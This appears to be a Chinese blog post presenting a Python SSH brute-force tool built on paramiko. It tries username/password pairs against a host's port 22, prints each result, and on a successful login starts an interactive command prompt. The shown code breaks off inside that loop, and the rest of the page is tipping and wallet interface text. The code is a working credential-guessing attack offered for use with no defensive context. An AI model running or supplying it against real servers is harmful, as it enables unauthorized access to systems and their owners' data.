python 实现ssh爆破

import paramiko
import argparse
import sys

def sshbrute(user,passw,host):
    # 设置 flag 为 0 ,在成功登录的时候再置为 1 
    flag = 0
    try:
        # 使用 paramiko.SSHClient 创建 ssh 对象
        ssh = paramiko.SSHClient()

        # 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面,接受对方的公钥证书
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # 登录 ssh,连接失败则抛出 异常 跳转到 except ,成功则继续执行
        ssh.connect(hostname=host,port=22,username=user,password=passw,timeout=1)

        # 打印出成功登录的 用户名 和 密码
        print("login success! User:"+user,"Pass:"+passw)
        # 把 flag 置为 1
        flag = 1

    except:
        # 打印出 登录失败 的 用户名 和 密码
        print("login failed!","user:"+user,"pass:"+passw)
    # 如果 flag 为 1,则进入 terminal
    if flag == 1:
        while True:
            # 获取 输入的命令
            input_command = input(">>")
  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值